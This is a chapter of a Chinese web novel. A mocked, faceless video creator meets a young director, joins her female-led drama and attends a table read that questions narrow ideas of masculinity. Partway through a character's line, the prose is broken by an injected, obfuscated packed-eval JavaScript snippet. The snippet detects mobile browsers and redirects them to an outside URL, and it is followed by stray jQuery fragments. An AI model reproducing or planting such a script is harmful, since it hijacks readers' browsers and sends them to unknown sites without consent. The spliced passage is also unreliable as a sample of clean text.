视频上传后的第七个小时，点赞数停在了一百二十七万。


    林寂坐在黑暗的房间里，只有电脑屏幕的光照亮他半张脸。


    他的手指悬在触摸板上，迟迟没有点开那个已经提示了九十九次的新消息图标。


    他知道那是什么。


    三天前，“虎哥说游”更新了一期“锐评颜值区妖魔鬼怪”的特辑。


    视频里的中年男人对着镜头侃侃而谈，背景是他标志性的电竞椅和闪烁的RGB灯光。


    “今天咱们聊聊这位，”虎哥拉长声音，屏幕上出现林寂的视频截图，是他站在海边礁石上的背影，“ID叫‘寂’，三百多万粉丝，从来不露脸。粉丝天天吹什么‘氛围感’‘故事感’，要我说，装什么神秘？”


    弹幕飘过一片“哈哈哈”和“虎哥真相”。


    虎哥把画面放大，鼠标箭头戳着视频里的林寂，“你看这身材，肩窄腰细，瘦得跟竹竿似的。还天天穿白衬衫，风一吹就飘，娘儿们唧唧的。不敢露脸为什么？要么是丑得没法看，要么就是脸上动过刀，见光死。”


    林寂看着屏幕，手指慢慢收紧。


    初中时的记忆像潮水一样涌上来。


    厕所隔间外男生们哄笑的声音，“林妹妹今天又穿白衬衫啊？”“细皮嫩肉的，要不要哥哥们保护你？”“长得跟小姑娘似的，以后怎么娶媳妇？”


    那些声音和虎哥的嘲讽重叠在一起，嗡嗡作响。


    视频还在继续。


    虎哥翻出林寂评论区粉丝的留言，用夸张的语调念出来，“‘寂哥的声音好温柔，像夜里有人轻轻讲故事’，哎哟我天，这都什么矫情文学？还有这个，‘他指夕阳的那个视频我看哭了’，哭啥？哭他不敢露脸？”


    弹幕越来越多：


    「虎哥怼得好！早就看这些装逼犯不顺眼了」


    「男的搞什么氛围感，恶心」


    「粉丝都是□□吧，就喜欢这种娘炮」


    林寂关掉视频。


    但关不掉那些声音。


    他的私信爆了，有粉丝来安慰的，有路人来看热闹的，有虎哥的粉丝来辱骂的。


    虎哥发了一条新微博，只有两个字：「怂货」。


    他盯着那两个字，看了很久。


    手机在这时震动起来。


    陌生号码，归属地京北。


    林寂犹豫了几秒，接起来。


    “您好，是‘寂’吗？我是晴天工作室的乔舒然。”女生的声音很清爽，没有试探也没有客套。


    “我们导演温清水看了您的视频，想邀请您参演一部短剧。您方便见面聊吗？”


    林寂很意外。


    他听说过温清水。


    《春日负暄》爆火的时候，他的粉丝群里有人发过剪辑，说这个导演很会拍“酸涩感”。


    后来他又看了《无声告白》的预告片，苏念在雨里回头的那一幕，他反复看了好几遍。


    他开口，声音有些哑，“我没有表演经验。”


    “导演看中的不是经验，是气质。”乔舒然说，“剧本里有个角色，很适合您。您愿意见面聊聊吗？”


    林寂看着电脑屏幕上虎哥那张嘲讽的脸，又看了看窗外沉沉的夜色。


    “好。”他说。


    茶馆开在老街深处，门口种着几丛竹子，风吹过时沙沙作响。


    温清水推门进去时，风铃叮咚一声，穿棉麻长裙的老板娘从柜台后抬起头，对她笑了笑。


    “温小姐，林先生在‘听雨’间。”


    包厢是半开放式的，竹帘半卷，能看见里面靠窗的位置坐着一个男生。


    他穿着浅灰色卫衣，黑色鸭舌帽放在手边，正低头看手机。


    温清水走过去时，他抬起了头。


    第一眼，温清水有些意外，不是因为他好看，而是因为他比她想象中年轻太多。


    皮肤很白，眼睛干净，眼神里有一种小心翼翼地打量。


    “温导？”林寂站起来，声音比视频里轻，但那种低沉的质感还在。


    “叫我清水就好。”温清水在他对面坐下，“工作室里都这么叫。”


    林寂显然还是有些紧张。


    他手指在桌下无意识地蜷了蜷，“没想到您这么年轻。”


    温清水笑了，“你以为该多大？”


    “至少，”林寂顿了顿，“四十？像那些资深导演一样。”


    “资深不在年纪，在作品。”温清水接过老板娘递来的茶单，点了壶白毫银针。


    “我看了你最近三个月的视频，每个的运镜和光影都有设计。特别是天台那个，你指心口又指夕阳的镜头，推焦的节奏很好。”


    “那个镜头，”他轻声说，“其实拍了十七遍。”


    “看得出来。”温清水接过老板娘递来的茶壶，动作熟练地冲泡，“好镜头都是磨出来的。演戏也一样。”


    茶香慢慢溢出来，清雅的花果香。


    温清水倒了两杯，推一杯到林寂面前。


    “《凤鸣朝歌》，女尊题材，我们工作室接下来的重点项目。”她从包里拿出剧本，翻开人物小传那一页，“里面有个角色叫谢无音，少年时因火劫毁容，常年戴银面具。直到遇见女主，才慢慢摘下面具。不是为惊艳世人，是为面对自己。”


    林寂接过剧本，手指抚过“谢无音”三个字。


    “前面大部分戏份都戴面具，但最后一集需要露脸。”温清水看着他，“你可以接受吗？”


    空气安静了几秒。


    庭院里传来潺潺水声，锦鲤跃出水面，又扑通落回去。


    林寂抬起头，“您不担心我露脸后，观众失望吗？”


    “我选演员，不看脸符不符合‘标准’，而是看气质是否符合角色。”温清水端起茶杯，热气氤氲了她的眉眼。


    “谢无音需要的不是一张完美的脸，是一张有故事的脸。你的视频里有那种故事感，沉默的，克制的，很淡，但有感情在。”


    林寂知道，他不能再逃避了。


    现在有这么厉害的导演，愿意给他一次机会。


    “最后一集露脸，我可以。”他说，“但需要一点时间准备。”


    “当然。”温清水微笑，“拍摄周期二十天，露脸戏放在最后一周。这期间你可以慢慢调整状态。”


    她合上剧本，语气轻松了些，“明天下午两点，工作室围读剧本。其他演员都会到，你先和大家熟悉熟悉。”


    “工作室在哪里？”


    “国贸附近，等会儿发你定位。”温清水拿出手机，手指在屏幕上点了点。


    “对了，明天小乔，就是联系你的那个女生会准备下午茶。你喜欢吃什么，她最近沉迷研究各种甜点。”


    林寂愣了愣，“都行。”


    “那就让她自由发挥。”温清水站起来，“明天见。”


    第二天下午一点五十，林寂站在“晴天工作室”门口。


    工作室在一栋写字楼的二十三层，整层打通做成平层。


    透过玻璃能看见里面开阔的空间，落地窗占了大半面墙，CBD的天际线在窗外铺展开来。


    乔舒然从里间办公室探出头，看见林寂，笑了，“来啦！快进来，他们都在会议室了。”


    她今天穿了件浅粉色的针织开衫，头发扎成高马尾。


    经过办公区时，她对那个打电话的男生说：“小陈，下午三点前把设备清单发我邮箱。”


    “没问题乔姐。”男生比了个OK的手势。


    会议室在落地窗边，玻璃隔断，百叶窗半开。


    温清水已经站在白板前，正用马克笔写着什么。


    听见开门声，她转过头，对林寂点了点头。


    “坐。”她指了指空位，“马上开始。”


    林寂坐下时，快速扫了一眼在场的人。


    周止川坐在靠窗的位置，穿着黑色运动外套，身材挺拔，正低头看剧本。


    沈舟在他旁边，米白色毛衣，抱着厚厚的剧本，手指在页边写小字。陆北辰坐在对面，穿着某奢侈品牌的当季衬衫，袖口挽起，姿态有些散漫。


    还有一个人林寂认出来了，江挽月。


    她坐在温清水旁边，看见林寂，她对他微笑了一下，很温和。


    “人都齐了。”温清水放下马克笔，“先互相认识一下，以后要一起工作一个月。”


    从周止川开始，大家简单介绍了自己。


    轮到林寂时，他顿了顿，“林寂，做视频的，第一次演戏。”


    陆北辰挑了挑眉，“视频博主？那得露脸吧？不然怎么吸粉？”


    温清水抬起眼，“在这个剧组，我们只看角色适配度，不看露不露脸，也不看粉丝数。”


    陆北辰耸耸肩，没再说话。


    “我是江挽月。”江挽月的声音温和地接上，“在《凤鸣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188755|196696||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朝歌》里演楚凤翎，请大家多关照。”


    围读开始。


    温清水先分析人物关系。


    “楚凤翎和四个男人的感情线，每条都不一样。”她指着白板上的关系图，“和萧寒是惺惺相惜的对手，和谢云深是互相救赎的知己，和秦墨是利益与真情的博弈，和谢无音……”


    她看向林寂，“是镜像，他们都曾隐藏自己。楚凤翎用冷漠藏起伤痛，谢无音用面具藏起面容。他们的相遇，是看见彼此隐藏的部分，然后彼此治愈。”


    林寂看着剧本，那些文字忽然有了温度。


    围读到第三场时，陆北辰忽然说，“温导，我觉得这里秦墨的反应可以再‘硬’一点。他是西域商人，走南闯北的，得有那种糙劲儿。”


    他站起来，做了个拍桌的动作，“‘楚凤翎，你以为这是什么地方？’——这样是不是更有气势？”


    周止川皱了皱眉，“但这场戏是秦墨在试探，不是真要冲突。太‘硬’了反而显得没城府。”


    “男人嘛，该狠的时候就得狠。”陆北辰不以为然。


    温清水放下剧本，“秦墨是个商人。商人的特质是精明算计，懂得审时度势。他可以在西域装糙汉，但在楚凤翎面前，他应该是收敛的。‘狠’不是男子气概，精准才是。”


    陆北辰张了张嘴，江挽月轻声接话，“而且我觉得秦墨这场戏的张力，其实在于他表面的强硬和内心的动摇。如果演得太‘糙’，反而把那种复杂的层次演没了。”


    她说得温和，但很有分量。


    陆北辰顿了顿，点点头，“有道理。”


    沈舟小声说：“其实我觉得温柔一点的男性角色也挺好的。我演谢云深，他就是个温柔的人。但温柔不是弱，是他选择用这种方式来坚持。”


    温清水笑了，“小舟说得对。男子气概不是只有一种样子。谢云深的温柔，秦墨的精明萧寒的忠诚，谢无音的沉默，这些都可以是力量。”


    她看向所有人，“我们这个剧，想呈现的就是多样性，女性可以强大，男性可以多元，爱可以有很多种形态。”


    林寂看着温清水平静的侧脸，也想明白了一些东西。


    中场休息时，乔舒然推着餐车进来，上面摆满了点心和饮料。


    林寂接过乔舒然递来的奶茶，温热的，甜度刚好。


    他喝了一口，芋泥的香气在口腔里化开。


    江挽月坐到他旁边，递给他一块小蛋糕，“尝尝这个，不太甜。”


    “谢谢。”林寂接过。


    “紧张吗？”江挽月问，声音很温和。


    林寂点头，又摇头。


    “我第一次拍戏也紧张。”江挽月笑了，“温导很会带演员。她不会骂人，会耐心讲戏，告诉你为什么这场戏要这样演。跟着她，能学到很多东西。”


    林寂看着她。


    江挽月的眼神很真诚，没有客套，没有敷衍。


    “嗯。”他说。


    会议结束时已是傍晚。


    温清水收拾着资料，“下周一开始进组拍摄。拍摄地在怀柔，住宿已经安排好了。工作室这边会留人值班，所有后勤支持照常。”


    大家陆续起身。


    周止川拍了拍林寂的肩，“加个微信？以后对戏方便。”


    沈舟也凑过来，“我也加。”


    江挽月微笑着掏出手机，“大家都加一下吧，建个群，方便沟通。”


    就连陆北辰也慢吞吞地扫了码。


    走出工作室时，天已经暗了。


    林寂站在电梯口，回头看了一眼。


    “晴天工作室”的灯牌亮着暖黄色的光。


    他透过玻璃，看见乔舒然还在电脑前工作，另一个员工在整理文件。


    温清水站在白板前，还在写着什么。


    一切井然有序，充满生机。


    他拿出手机，点开虎哥那期视频。评论区还在吵。


    但这次，他没有觉得窒息。


    他退出视频，打开相机，对着工作室的灯牌拍了一张照片。


    然后发到了自己沉寂四天的账号上，配文：「新旅程」


    发送成功的提示音响起时，电梯门开了。


    林寂走进去，镜面墙壁映出他的脸，清晰的，完整的，没有躲闪。


    电梯下降，失重感很轻微。


    他看着镜子里那个年轻的自己，很轻地，弯了弯嘴角。